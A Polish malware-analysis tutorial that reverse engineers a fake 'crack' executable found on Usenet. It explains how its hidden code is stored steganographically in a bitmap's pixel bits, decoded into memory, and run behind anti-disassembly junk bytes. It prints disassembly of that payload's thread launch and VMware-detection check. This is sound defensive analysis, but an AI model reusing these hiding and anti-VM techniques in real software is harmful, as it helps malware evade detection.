Analiza malware na przykładzie złośliwego oprogramowania znalezionego w sieci, praktyczna prezentacja inżynierii wstecznej (reverse engineering).
Przeglądając usenetową listę dyskusyjną pl.comp.programming natrafiłem na posta „UNIWERSALNY CRACK DO MKS-VIRA!!!!”, gdzie znajdował się odnośnik do małego pliku wykonywalnego. Jak wynikało z postów innych użytkowników, program ten nie tylko nie był crackiem, ale najprawdopodobniej zawierał „podejrzany” kod. Link do tego samego pliku znalazł się również na pięciu innych listach dyskusyjnych (gdzie nie był już crackiem, ale np. łamaczem haseł gadu-gadu). Z ciekawości ściągnąłem ten plik i wziąłem się do jego analizy.
Reverse engineering w akcji
Analizę pliku można podzielić na kilka etapów, najpierw przyjrzymy się ogólnej budowie pliku wykonywalnego, przejrzymy jego listę zasobów, wykorzystując do tego celu program ExeScope, który w przejrzysty sposób pozwala przeglądać i edytować zasoby w plikach wykonywalnych.
Kolejnym krokiem będzie ustalenie, w jakim języku programowania plik został napisany, oraz czy plik wykonywalny został skompresowany. Do tego celu użyjemy identyfikatora plików wykonywalnych PEiD, który posiada wbudowaną bazę danych, pozwalającą określić, w jakim języku aplikacja została napisana, oraz zidentyfikować najpopularniejsze typy kompresorów i protektorów plików wykonywalnych. Alternatywnie można skorzystać z nieco starszego identyfikatora plików FileInfo, który obecnie nie jest już tak dynamicznie rozwijany i uaktualniany jak PEiD. Dzięki tym informacjom będziemy wiedzieć, co robić dalej, czy możemy od razu przejść do analizy kodu, czy przykładowo będziemy musieli rozpakować plik, gdyby okazało się, że jest on skompresowany (np. kompresorami FSG, UPX, Aspack itp.), gdyż analiza kodu skompresowanych plików mija się z celem, po prostu nie byłoby widać oryginalnego kodu programu, tylko jego skompresowaną (lub zaszyfrowaną) formę.
Następnym krokiem będzie analiza kodu, wykorzystamy do tego znakomity deasembler IDA firmy Datarescue, który w wersji demonstracyjnej, dostępnej dla każdego, pozwala jedynie na analizę plików PE (Portable Executable), ale to nam w zupełności wystarczy. IDA jest obecnie najlepszym deasemblerem i pozwala w szczegółowy sposób przeanalizować każdy plik wykonywalny, w wersji komercyjnej obsługuje ponad 30 różnych typów procesorów oraz całą masę różnych rodzajów plików wykonywalnych. Analiza kodu pozwoli nam dowiedzieć się, w jaki sposób działa program i czego możemy się spodziewać po jego uruchomieniu.
Szybkie rozeznanie
W archiwum zip znajduje się jeden plik „patch.exe”, który ma niecałe 200 KB. Na samym początku polecam zmienić rozszerzenie tego pliku, np. na „patch.bin”, żeby przypadkiem go nie uruchomić. Strukturalnie jest to 32 bitowy plik wykonywalny w formacie PE. Program został napisany w MS Visual C++ 6.0, o czym można się przekonać, sprawdzając plik „patch.exe” w identyfikatorze plików PEiD. Dzięki PEiD wiemy także, że nie został on skompresowany, ani zabezpieczony:
Przeglądając plik w edytorze zasobów ExeScope, natrafimy jedynie na standardowe typy danych, bitmapa, jedno okno dialogowe, ikona oraz manifest (okna aplikacji z tym zasobem na systemach Windows XP są wyświetlane z wykorzystaniem nowych stylów graficznych, bez tego zasobu okna aplikacji wyświetlane są jak standardowe aplikacje, których wygląd znamy z systemów rodziny Windows 9x):
Jak na razie nie ma niczego podejrzanego, ale pozory mylą.
Analiza kodu
Po załadowaniu pliku „patch.exe” do dekompilatora IDA znajdziemy się w procedurze WinMain(), która jest punktem wejściowym dla aplikacji napisanych w C++.
Faktycznie punktem wejściowym każdej aplikacji jest tzw. „entrypoint”(z ang. punkt wejścia), którego adres zapisany jest w nagłówku PE i od którego zaczyna się wykonywanie kodu aplikacji. Jednak w przypadku programów C++, kod z prawdziwego punktu wejściowego odpowiedzialny jest jedynie za inicjalizację wewnętrznych zmiennych (programista piszący program nie ma wpływu na jego kod), a nas interesuje jedynie to, co zostało napisane przez programistę:
.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance = dword ptr 4
.text:00401280
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
.text:00401286 push offset DialogFunc ; lpDialogFunc
.text:0040128B push 0 ; hWndParent
.text:0040128D push 65h ; lpTemplateName
.text:0040128F push eax ; hInstance
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA ; Create a modal dialog box from a
.text:00401295 ; dialog box template resource
.text:0040129B mov eax, hHandle
.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h
.text:004012A9 _WinMain@16 endp
Aby uprościć zrozumienie powyższego kodu przepiszemy go na język C++.
Z assemblera do C++
Praktycznie z każdego „deadlistingu”, czyli ze zdeasemblowanego kodu, można z większymi, lub mniejszymi trudnościami złożyć kod w języku programowania, w którym kod oryginalnie został napisany. Narzędzia takie jak IDA dostarczają jedynie podstawowych informacji, jak nazwy funkcji, nazwy zmiennych i stałych, konwencje wywoływania funkcji (stdcall, cdecl itp.), ale przełożenie tego na język HLL (High Level Language – język wysokiego poziomu) wymaga już ludzkiej pracy i doświadczenia w programowaniu i analizie kodu.
Obecnie istnieją specjalne „pluginy” dla IDA, pozwalające na prostą dekompilację kodu x86, ale wyniki ich działania pozostawiają wiele do życzenia. Zgodnie z zapowiedzią, niektóre fragmenty zostaną przepisane na język C++, a tak prezentuje się powyższy kod po jego przetłumaczeniu:
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
// wyświetl okno dialogowe
DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA, NULL, DialogFunc, 0);
// zakończ program, dopiero wtedy, gdy zwolniony zostanie uchwyt hHandle
return WaitForSingleObject(hHandle, INFINITE);
}
Tłumaczenie na kod HLL polega na przeanalizowaniu struktury funkcji, wyodrębnieniu zmiennych lokalnych, znalezienie w kodzie odwołań do zmiennych globalnych. Informacje, jakich dostarcza nam IDA pozwalają w prosty sposób stwierdzić jakie parametry i ile parametrów, przyjmuje analizowana funkcja, jakie zwraca wartości, z jakich procedur WinApi korzysta oraz do jakich danych się odwołuje.
Mając te wszystkie informacje
można zacząć tworzyć kod w języku wysokiego poziomu. Do pierwszych czynności
należy zdefiniowanie typu funkcji, konwencji jej wywołania, typów parametrów,
następnie wykorzystując dane z IDA, definiujemy zmienne lokalne funkcji.
Gdy ogólny zarys funkcji zostanie stworzony, można wziąć się za odtworzenie
kodu. Do podstawowych czynności należy odbudowa wywołań innych funkcji (WinApi,
ale nie tylko, bo także odwołań do wewnętrznych funkcji programu), przykładowo
dla funkcji WinApi analizujemy kolejno zapamiętywane parametry, które
zapisywane są na stosie instrukcją push
w kolejności od ostatniego
parametru do pierwszego (czyli odwrotnie niż następuje ich zapis w wywołaniu
funkcji w kodzie HLL), posiadając informacje o wszystkich parametrach,
można odtworzyć oryginalne odwołanie do funkcji.
Najtrudniejszym elementem
odtworzenia kodu programu do języka HLL, jest odtworzenie logiki
działania, czyli należy umiejętnie rozpoznawać operatory logiczne (OR
,
XOR
, NOT
) i arytmetyczne (dodawanie, odejmowanie, mnożenie,
dzielenie) oraz instrukcje warunkowe, jak IF
ELSE
, SWITCH
,
pętle FOR
, WHILE
, DO
. Dopiero wszystkie te
informacje zebrane w całość, pozwalają przełożyć kod asemblera na przykładowo
C++, ale równie dobrze można przełożyć język asemblera na kod w Delphi.
W kodzie widać, że najpierw
wywoływana jest procedura DialogBoxParam()
, wyświetlająca okno dialogowe,
którego identyfikator określa okno zapisane w zasobach pliku wykonywalnego.
Następnie wywoływana jest procedura WaitForSingleObject()
i program
kończy działanie. Z tego kodu można wywnioskować, że program wyświetla okno
dialogowe, następnie po jego zamknięciu (gdy już nie będzie widoczne), czeka
tak długo, aż nie zostanie zasygnalizowany stan dla obiektu hHandle
.
Mówiąc prościej, program nie zakończy działania, dopóki nie zakończy się
wykonywanie innego kodu, najczęściej w ten sposób czeka się na zakończenie
pracy kodu uruchomionego w oddzielnym wątku (z ang. thread).
Pomyślałem sobie, że co program
może chcieć robić tuż po zamknięciu głównego okna i pierwsze, co przyszło mi na
myśl, to że coś złego. Idąc tym tropem, postanowiłem znaleźć miejsce w kodzie,
w którym ustawiany jest uchwyt hHandle
, bo skoro jest odczytywany, to
wcześniej musi być gdzieś zapisywany. Aby to zrobić w IDA należy kliknąć
nazwę zmiennej hHandle
, aby znaleźć się w miejscu jej położenia w sekcji
danych (uchwyt hHandle
to nic innego jak 32 bitowa wartość typu DWORD),
po prawej stronie od nazwy zmiennej, znajdują się tzw. referencje, czyli
informacje o miejscach w kodzie, z których zmienna jest odczytywana, lub
modyfikowana. W zależności od konfiguracji, nie wszystkie referencje są
wyświetlane, pełna lista dostępna jest w oknie, które pojawi się po najechaniu
kursorem na nazwę zmiennej i naciśnięciu kombinacji klawiszy CTRL-X.
.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle dd 0 ; DATA XREF: .text:00401108w
.data:004056E4 ; WinMain(x,x,x,x)+1Br
Jednym z tych miejsc jest
przedstawiona wcześniej procedura WinMain()
, w której zmienna jest
odczytywana (mówi nam o tym mała literka „r” od angielskiego „read”
– „czytać”), zaciekawiła mnie natomiast druga referencja (na liście
znajduje się jako pierwsza), której opis mówi nam, że zmienna hHandle
jest w tym miejscu modyfikowana (mała literka „w” od angielskiego „write”
– „zapisać”), teraz wystarczy kliknąć na nią, aby znaleźć się w kodzie,
odpowiedzialnym za zapis do zmiennej (czyli tak, jakbyśmy kliknęli hyperlinka).
Kod w tym miejscu przedstawia się tak:
.text:004010F7 mov edx, offset lpInterfejs
.text:004010FC mov eax, lpWskaznikKodu
.text:00401101 jmp short loc_401104 ; tajemniczy "call"
.text:00401103 db 0B8h ; śmieci, tzw. "junks"
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; tajemniczy "call"
.text:00401106 db 0 ; ; śmieci
.text:00401107 db 0 ; ; jak wyżej
.text:00401108 mov hHandle, eax ; ustawienie uchwytu
.text:0040110D pop edi
.text:0040110E mov eax, 1
.text:00401113 pop esi
.text:00401114 retn
Parę słów wytłumaczenia, najpierw
do rejestru EAX
wczytywany jest wskaźnik do jakiegoś obszaru, w którym
znajduje się kod, następnie wykonywany jest skok do instrukcji wywołującej
procedurę. Gdy procedura ta zostanie już wywołana, w rejestrze EAX
znajdzie się wartość uchwytu (przeważnie wszystkie procedury, czy to WinApi
,
czy z innych bibliotek zwracają wartości, kody błędów, właśnie w tym rejestrze
procesora, więc można założyć, że i tym razem tak będzie), która następnie
zostanie zapisana do zmiennej hHandle
. Ktoś, kto dobrze zna asembler, na
pewno zauważył, że ten fragment kodu wygląda podejrzanie (niestandardowo w
porównaniu do zwykłego skompilowanego kodu C++), w hex-edytorze Hiew, w
widoku deasemblacji, ten sam kod wygląda tak:
.00401101: EB01 jmps .000401104 ; skok w środek instrukcji
.00401103: B8FFD00000 mov eax,00000D0FF ; ukryta instrukcja
.00401108: A3E4564000 mov [004056E4],eax ; ustawienie uchwytu
.0040110D: 5F pop edi
.0040110E: B801000000 mov eax,000000001
.00401113: 5E pop esi
.00401114: C3 retn
Nie widać tu instrukcji CALL EAX
, gdyż jej opcody (bajty instrukcji) zostały wstawione w środek
instrukcji MOV EAX, 0xD0FF
, dopiero zamazując pierwszy bajt instrukcji
MOV
zobaczymy jaki kod zostanie naprawdę wykonany:
.00401101: EB01 jmps .000401104 ; skok w środek instrukcji
.00401103: 90 nop ; zamazany 1 bajt instrukcji "mov"
.00401104: FFD0 call eax ; ukryta instrukcja
Wracając do kodu, który jest
wywoływany instrukcją CALL EAX
, należałoby się dowiedzieć gdzie
prowadzi adres zapisany w rejestrze EAX
. Powyżej instrukcji CALL
EAX
znajduje się instrukcja, która do rejestru EAX
wpisuje
wartość zmiennej lpWskaznikKodu
. Aby dowiedzieć się, co zostało
zapisane do tej zmiennej znowu posłużymy się referencjami:
.data:004056E8 lpWskaznikKodu dd 0 ; DATA XREF: .text:00401092w
.data:004056E8 ; .text:004010A1r
.data:004056E8 ; .text:004010BEr
.data:004056E8 ; .text:004010C8r
.data:004056E8 ; .text:004010FCr
widać tu, że zmienna lpWskaznikKodu
(nazwę zmiennej można dowolnie zmieniać, tak żeby łatwiej było nam zrozumieć
kod, aby to zrobić wystarczy najechać kursorem na nią, nacisnąć klawisz N
i wprowadzić nową nazwę) domyślnie ustawiona jest na 0
i tylko w jednym miejscu
kodu jest ustawiana, klikając na referencję zapisu do zmiennej, znajdziemy się
w kodzie:
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy
.text:0040107D call ds:VirtualAlloc ; alokuj pamięć, adres zaalokowanego
.text:0040107D ; bloku znajdzie się w rejestrze EAX
.text:00401083 mov ecx, dwRozmiarBitmapy
.text:00401089 mov edi, eax ; EDI = adres zaalokowanej pamięci
.text:0040108B mov edx, ecx
.text:0040108D xor eax, eax
.text:0040108F shr ecx, 2
.text:00401092 mov lpWskaznikKodu, edi ; zapisz adres zaalokowanej pamięci
.text:00401092 ; do zmiennej lpWskaznikKodu
zmienna lpWskaznikKodu
ustawiana jest na adres pamięci zaalokowanej funkcją VirtualAlloc()
.
Przeglądając wcześniejsze fragmenty deadlistingu, dowiedziałem się, że z
zasobów pliku „patch.exe”, ładowana jest jego jedyna bitmapa, następnie
ze składowych barw RGB kolejnych pikseli składane są bajty ukrytego kodu, które
następnie zapisywane są do wcześniej zaalokowanej pamięci (której adres
zapisany jest w zmiennej lpWskaznikKodu
). Tak wygląda fragment
odpowiedzialny za „wydobycie” danych z bitmapy:
.text:004010BE kolejny_bajt: ; CODE XREF: .text:004010F4j
.text:004010BE mov edi, lpWskaznikKodu
.text:004010C4 xor ecx, ecx
.text:004010C6 jmp short loc_4010CE
.text:004010C8 kolejny_bit: ; CODE XREF: .text:004010E9j
.text:004010C8 mov edi, lpWskaznikKodu
.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj
.text:004010CE ; .text:004010C6j
.text:004010CE mov edx, lpWskaznikBitmapy
.text:004010D4 mov bl, [edi+eax] ; "poskładany" bajt kodu
.text:004010D7 mov dl, [edx+esi] ; kolejny bajt składowej kolorów RGB
.text:004010DA and dl, 1 ; maskuj najmniej znaczący bit składowej kolorów
.text:004010DD shl dl, cl ; bit składowej RGB << i++
.text:004010DF or bl, dl ; zóż z bitów składowej kolorów jeden bajt
.text:004010E1 inc esi
.text:004010E2 inc ecx
.text:004010E3 mov [edi+eax], bl ; zapisz bajt kodu
.text:004010E6 cmp ecx, 8 ; licznik 8 bitów (8 bitów = 1 bajt)
.text:004010E9 jb short kolejny_bit
.text:004010EB mov ecx, dwRozmiarBitmapy
.text:004010F1 inc eax
.text:004010F2 cmp esi, ecx
.text:004010F4 jb short kolejny_bajt
.text:004010F6 pop ebx
.text:004010F7
.text:004010F7 loc_4010F7: ; CODE XREF: .text:004010B7j
.text:004010F7 mov edx, offset lpInterfejs
.text:004010FC mov eax, lpWskaznikKodu
.text:00401101 jmp short loc_401104 ; tajemniczy "call"
.text:00401103 db 0B8h ; śmieci, tzw. "junks"
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; tajemniczy "call"
W powyższym kodzie można wyróżnić
dwie pętle, jedna z nich (wewnętrzna) odpowiada za pobieranie kolejnych bajtów
tworzących składowe kolorów RGB pikseli bitmapy. Bitmapa w tym konkretnym
przypadku zapisana jest w formacie 24bpp („bits per pixel” - bity na
piksel), więc każdy piksel opisany jest 3 bajtami koloru w formacie RGB (Red
- czerwony, Green - zielony, Blue - niebieski), ułożonymi jeden
za drugim. Z kolejnych ośmiu pobranych bajtów, maskowane są najmniej znaczące
bity (instrukcją and dl, 1
), które poskładane w całość tworzą jeden
bajt kodu. Gdy bajt kodu zostanie już „złożony”, zostaje tak ostatecznie
zapisany do bufora lpWskaznikKodu
. Następnie w pętli zewnętrznej
inkrementowany jest indeks dla wskaźnika lpWskaznikKodu
, tak żeby
wskazywał na miejsce, gdzie będzie można umieścić kolejny bajt kodu, po czym
wraca do pobierania kolejnych ośmiu bajtów składowych kolorów. Pętla zewnętrzna
wykonuje się tak długo, dopóki ze wszystkich pikseli bitmapy nie zostaną
wydobyte bajty kodu. Ilość powtórzeń pętli stanowi wymiar bitmapy, pobierany
bezpośrednio z jej nagłówka, a konkretnie z takich danych jak szerokość i
wysokość (zapisana w jednostkach, jaką jest piksel):
.text:0040105B ; w rejestrze EAX znajduje się wskaźnik
.text:0040105B ; do początku danych bitmapy
.text:0040105B mov ecx, [eax+8] ; wysokość bitmapy
.text:0040105E push 40h
.text:00401060 imul ecx, [eax+4] ; szerokość * wysokość = ilość
.text:00401060 ; bajtów opisujących piksele
.text:00401064 push 3000h
.text:00401069 add eax, 40 ; rozmiar nagłówka bitmapy
.text:0040106C lea ecx, [ecx+ecx*2] ; każdy piksel opisują 3 bajty, więc wynik
.text:0040106C ; szerokość * wysokość należy pomnożyć jeszcze
.text:0040106C ; razy 3 (RGB)
.text:0040106F mov lpWskaznikBitmapy, eax ; zapisz wskaźnik do danych kolejnych pikseli
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy
Po wczytaniu bitmapy z zasobów
pliku wykonywalnego, w rejestrze EAX
znajdzie się adres początku
bitmapy, który określa jego nagłówek. Z nagłówka pobierane są wymiary bitmapy,
następnie szerokość mnożona jest przez wysokość bitmapy, co w wyniku da nam
łączną liczbę pikseli bitmapy, ale każdy piksel opisany jest 3 bajtami, więc
dodatkowo wynik mnożony jest jeszcze razy 3, otrzymując w ten sposób finalny
rozmiar danych opisujących wszystkie piksele.
Kod pobierający dane z bitmapy można w uproszczeniu przedstawić w C++ tak:
unsigned int i = 0, j = 0, k;
unsigned int dwRozmiarBitmapy;
// oblicz ile bajtów zajmują wszystkie piksele w pliku bitmapy
dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;
while (i < dwRozmiarBitmapy)
{
// poskładaj 8 bitów składowych barw RGB w 1 bajt kodu
for (k = 0; k < 8; k++)
{
lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1) << k;
}
// kolejny bajt kodu
j++;
}
Steganografia
Ukrywanie danych w obrazach (i nie tylko, bo także np. w plikach dźwiękowych) ma swoja nazwę – steganografia, wykorzystywana była już w starożytności, obecnie możliwości ukrywania danych są nieograniczone, można np. ukryć tajną wiadomość w obrazku na ogólnie dostępnej stronie internetowej i nie wzbudzi to najmniejszych podejrzeń osób postronnych.
Jak widać steganografia nadaje się równie dobrze do ukrycia kodu, w tym przypadku tajne dane zostały zapisane na pozycjach najmniej znaczących bitów kolejnych składowych RGB pikseli. Tak zmodyfikowana bitmapa w porównaniu do oryginału jest praktycznie nie do odróżnienia dla gołego oka, gdyż różnice są zbyt subtelne.
Wydobycie ukrytego kodu
Wiemy już więc gdzie ukryty jest kod, ale jak go teraz wyciągnąć i zobaczyć, co tak naprawdę kryje? Można oczywiście uruchomić „patch.exe” i posługując się debuggerem (SoftIce, OllyDbg itp.), „zrzucić” już przetworzony kod z pamięci, ale mówiąc szczerze, wolałem nie ryzykować i napisałem sobie do tego prosty program, który bez uruchamiania aplikacji wyciągnął z bitmapy ukryty kod (program, wraz ze źródłem i zrzuconym ukrytym kodem znajduje się na dołączonej do magazynu płycie).
Działanie programu polega na
wgraniu bitmapy z zasobów pliku „patch.exe” i wydobyciu z niej ukrytego
kodu, posługując się tym samym algorytmem jaki wykorzystuje oryginalny program.
Aby odczytać zasoby jakiegoś pliku należy w pierwszej kolejności pobrać jego „uchwyt”.
Uchwyt programu jest to adres tzw. „bazy” (ang. „imagebase”),
pod którą taki plik został załadowany do pamięci operacyjnej przez system
Windows. Można go pobrać już z uruchomionego programu, ale my nie chcemy
ryzykować i go uruchamiać, tu z pomocą przychodzi funkcja WinApi LoadLibraryEx()
,
która pozwala wgrać dowolny plik wykonywalny, czy też bibliotekę dynamiczną
DLL, ale w ten sposób, że plik nie jest uruchamiany, a jedynie mapowany do
pamięci jak zwykły plik binarny (służy do tego dodatkowy parametr LOAD_LIBRARY_AS_DATAFILE
),
co jednak pozwala odczytać jego zasoby.
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
HMODULE hModule;
HRSRC hRes;
HGLOBAL hRsrc;
BYTE *lpCode, *lpTemp;
BYTE *hLocked;
DWORD dwCode, i = 0, j = 0, k;
FILE *hOutput;
char lpszFilename[] = "ukryty_kod.bin";
// załaduj plik patch.bin jako plik danych
hModule = LoadLibraryEx("patch.bin", NULL, LOAD_LIBRARY_AS_DATAFILE);
// sprawdź czy plik został wgrany do pamięci
if (hModule != 0)
{
// szukaj w zasobach pliku bitmapy o identyfikatorze 105
hRes = FindResource(hModule, MAKEINTRESOURCE(105), RT_BITMAP);
// sprawdź czy znaleziono bitmapę
if (hRes != 0)
{
// załaduj bitmapę z zasobów
hRsrc = LoadResource(hModule, hRes);
// zablokuj wskaźnik do załadowanej bitmapy, w wyniku
// wywołania tej funkcji, w zmiennej hLocked znajdzie
// się adres pierwszego bajtu danych bitmapy
hLocked = (BYTE *)LockResource(hRsrc);
// ilość pikseli zapisanych w bitmapie * 3
dwCode = (*(DWORD *)(hLocked + 0x4)) * (*(DWORD *)(hLocked + 0x8)) * 3;
// alokuj pamięć do wrzucenia tam kodu (wyzerowana)
lpCode = calloc(dwCode, 1);
// ustaw wskaźnik lpTemp na składowe RGB bitmapy (po nagłówku)
lpTemp = (BYTE *)(hLocked + 0x28);
// wyciągnij ze składowych RGB kolejne bajty ukrytego kodu
while (i < dwCode)
{
// składanie bajtu ukrytego kodu z 8 kolejnych
// bitów składowych kolorów
for (k = 0; k < 8; k++)
{
lpCode[j] |= ( lpTemp[i++] & 1 ) << k;
}
// zwiększ indeks bufora danych lpCode
j++;
}
// utwórz nowy plik binarny
hOutput = fopen(lpszFilename, "wb+");
// zapisz do niego zawartość ukrytego kodu
fwrite(lpCode, j, 1, hOutput);
// zamknij plik
fclose(hOutput);
}
}
// zakończ program
return 0;
}
Najpierw plik „patch.bin”
(rozszerzenie pliku nie ma tutaj żadnego znaczenia, wystarczy żeby plik był w
formacie PE) wgrywany jest do pamięci funkcją LoadLibraryEx(),
następnie z zasobów załadowanego pliku wykonywalnego wgrana zostaje bitmapa,
która w zasobach określona jest identyfikatorem 105
. Dostęp do
pierwszych bajtów bitmapy uzyskujemy dzięki wywołaniu funkcji LockResource()
,
która zwraca wskaźnik do danych bitmapy. Po uzyskaniu dostępu do danych
bitmapy, z jej nagłówka odczytywane są jej wymiary i wyliczany jest łączny
rozmiar wszystkich bajtów opisujących piksele, w których ukryty został kod. Po
ustaleniu rozmiaru danych bitmapy, alokowana jest pamięć, w której znajdzie się
ukryty kod. Pamięć alokowana jest funkcją calloc()
, która automatycznie
zeruje obszar alokowanej pamięci, ale równie dobrze można użyć funkcji ZeroMemory()
w przypadku innego sposobu alokacji pamięci. Piszę o tym dlatego, że w
późniejszym fragmencie, w kodzie wyciągającym dane z bitmapy mamy linijkę:
// złóż bajt ukrytego kodu (wykorzystywana jest tu operacja OR)
lpCode[j] |= ( lpTemp[i++] & 1 ) << k;
Wykorzystywana jest tutaj
operacja OR
na bloku pamięci i gdyby ta pamięć, w której znajdzie się
ukryty kod, nie była wcześniej wyzerowana, wynikowe dane mogłyby być
nieprawdziwe. Po odczytaniu do tak zaalokowanego bufora pamięci ukrytego kodu,
w bieżącym katalogu tworzony jest nowy plik binarny „ukryty_kod.bin”, w
którym ten kod zostaje zapisany.
Ukryty kod
Cały kod zawiera się w niecałym kilobajcie, dlatego omówię ogólną zasadę jego działania oraz „najciekawsze” fragmenty.
Aby kod mógł jakoś funkcjonować potrzebuje dostępu do funkcji
systemu Windows. W tym przypadku dostęp do funkcji WinApi realizowany
jest poprzez specjalną strukturę interfejs, której adres przekazywany
jest do ukrytego kodu w rejestrze EDX
:
.text:004010F7 mov edx, offset lpInterfejs ; struktura interfejs
.text:004010FC mov eax, lpWskaznikKodu
.text:00401101 jmp short loc_401104
.text:00401103 db 0B8h
.text:00401104 loc_401104:
.text:00401104 call eax ; wywołanie ukrytego kodu
Struktura „interfejs” zapisana jest w sekcji danych głównego programu, a przedstawia się tak:
00000000 interfejs struc ; (sizeof=0X48)
00000000 hKernel32 dd ? ; uchwyt biblioteki KERNEL32.dll
00000004 hUser32 dd ? ; uchwyt biblioteki USER32.dll
00000008 GetProcAddress dd ? ; adresy procedur WinApi
0000000C CreateThread dd ?
00000010 bIsWindowsNT dd ?
00000014 CreateFileA dd ?
00000018 GetDriveTypeA dd ?
0000001C SetEndOfFile dd ?
00000020 SetFilePointer dd ?
00000024 CloseHandle dd ?
00000028 SetFileAttributesA dd ?
0000002C SetCurrentDirectoryA dd ?
00000030 FindFirstFileA dd ?
00000034 FindNextFileA dd ?
00000038 FindClose dd ?
0000003C Sleep dd ?
00000040 MessageBoxA dd ?
00000044 stFindData dd ? ; WIN32_FIND_DATA
00000048 interfejs ends
W kodzie głównego programu, wypełnione zostają jedynie niektóre pola:
.text:00401120 sub_401120 proc near ; CODE XREF: DialogFunc+BAp
.text:00401120
.text:00401120 VersionInformation= _OSVERSIONINFOA ptr -94h
.text:00401120
.text:00401120 sub esp, 94h
.text:00401126 push esi
.text:00401127 mov esi, ds:LoadLibraryA
.text:0040112D push offset aKernel32_dll ; lpLibFileName
.text:00401132 call esi ; LoadLibraryA
.text:00401134 push offset aUser32_dll_0 ; lpLibFileName
.text:00401139 mov lpInterfejs.hKernel32, eax
.text:0040113E call esi ; LoadLibraryA
.text:00401140 mov lpInterfejs.hUser32, eax
.text:00401145 mov eax, lpInterfejs.hKernel32
.text:0040114A test eax, eax
.text:0040114C pop esi
.text:0040114D jz short loc_40119A
.text:0040114F mov eax, ds:GetProcAddress
.text:00401154 mov ecx, ds:CreateThread
.text:0040115A lea edx, [esp+94h+VersionInformation]
.text:0040115E mov lpInterfejs.GetProcAddress, eax
.text:00401163 push edx ; lpVersionInformation
.text:00401164 mov lpInterfejs.CreateThread, ecx
.text:0040116A mov [esp+98h+VersionInformation.dwOSVersionInfoSize], 94h
.text:00401172 call ds:GetVersionExA ; Get extended information about the
.text:00401172 ; version of the operating system
.text:00401178 mov ecx, [esp+94h+VersionInformation.dwPlatformId]
.text:0040117C xor eax, eax
.text:0040117E cmp ecx, 2
.text:00401181 setz al
.text:00401184 mov lpInterfejs.bIsWindowsNT, eax
Najpierw ładowane są biblioteki
systemowe KERNEL32.dll
i USER32.dll
, a ich uchwyty zostają
zapisane do struktury, następnie w strukturze zapisywane są adresy funkcji GetProcAddress()
i CreateThread()
oraz znacznik określający, czy program uruchomiony został
pod systemem Windows NT/XP. Uchwyty systemowych bibliotek, oraz dostęp do
funkcji GetProcAddress()
w praktyce pozwala na pobranie adresu dowolnej
innej procedury i nie tylko z bibliotek systemowych, ale równie dobrze z każdej
innej biblioteki.
Działanie ukrytego kodu
rozpoczyna się od uruchomienia dodatkowego wątka, wykorzystując do tego celu
adres procedury CreateThread()
wcześniej zapisanej w strukturze „interfejs”.
Po wywołaniu CreateThread()
w rejestrze EAX
zwrócony zostaje
uchwyt nowo utworzonego wątka (lub 0
w przypadku błędu), który po powrocie do
kodu głównego programu zapisywany jest w zmiennej hHandle
:
; na początku wykonywania tego kodu w rejestrze EAX znajduje
; się adres kodu, w rejestrze EDX znajduje się adres struktury
; zapewniającej dostęp do funkcji WinApi (interfejs)
ukryty_kod:
; eax + 16 = początek kodu, który zostanie uruchomiony w wątku
lea ecx, kod_wykonywany_w_watku[eax]
push eax
push esp
push 0
psh edx ; parametr dla procedury wątku
; adres struktury interfejs
push ecx ; adres procedury do uruchomienia w wątku
push 0
push 0
call [edx+interfejs.CreateThread] ; uruchom kod w wątku
loc_10:
pop ecx
sub dword ptr [esp], -2
retn
Do procedury uruchomionej w wątku
przekazywany jest jeden parametr, który w tym wypadku stanowi adres struktury „interfejs”.
Procedura uruchomiona w wątku najpierw sprawdza, czy program został uruchomiony
w środowisku Windows NT, robi to dlatego, że w przypadku wykrycia środowiska
Windows 9x, próbuje wykryć, czy kod został uruchomiony w środowisku wirtualnej
maszyny (VMware), do tego celu wykorzystuje instrukcję asemblera in
,
której wykonanie na systemie z rodziny Windows NT, w przeciwieństwie do Windows
9x powoduje zawieszenie programu. Następnym krokiem jest pobranie dodatkowych
funkcji WinApi wykorzystywanych przez ukryty kod i zapisanie ich do
struktury „interfejs”:
kod_wykonywany_w_watku: ; DATA XREF: seg000:00000000r
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, [ebp+8] ; offset interfejsu z
; adresami funkcji WinApi
; pod WindowsNT nie wykonuj instrukcji "in"
; spowodowałoby to zawieszenie się aplikacji
cmp [ebx+interfejs.bIsWindowsNT], 1
jz short nie_wykonuj
; wykrywanie wirtualnej maszyny Vmware, jeśli wykryto,
; że program działa pod emulatorem, kod kończy działanie
mov ecx, 0Ah
mov eax, 'VMXh'
mov dx, 'VX'
in eax, dx
cmp ebx, 'VMXh' ; wykrywanie VMware
jz loc_1DB
nie_wykonuj: ; CODE XREF: seg000:00000023j
mov ebx, [ebp+8] ; offset interfejsu z adresami funkcji WinApi
call loc_54
aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.CreateFileA], eax
call loc_6E
aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetEndOfFile], eax
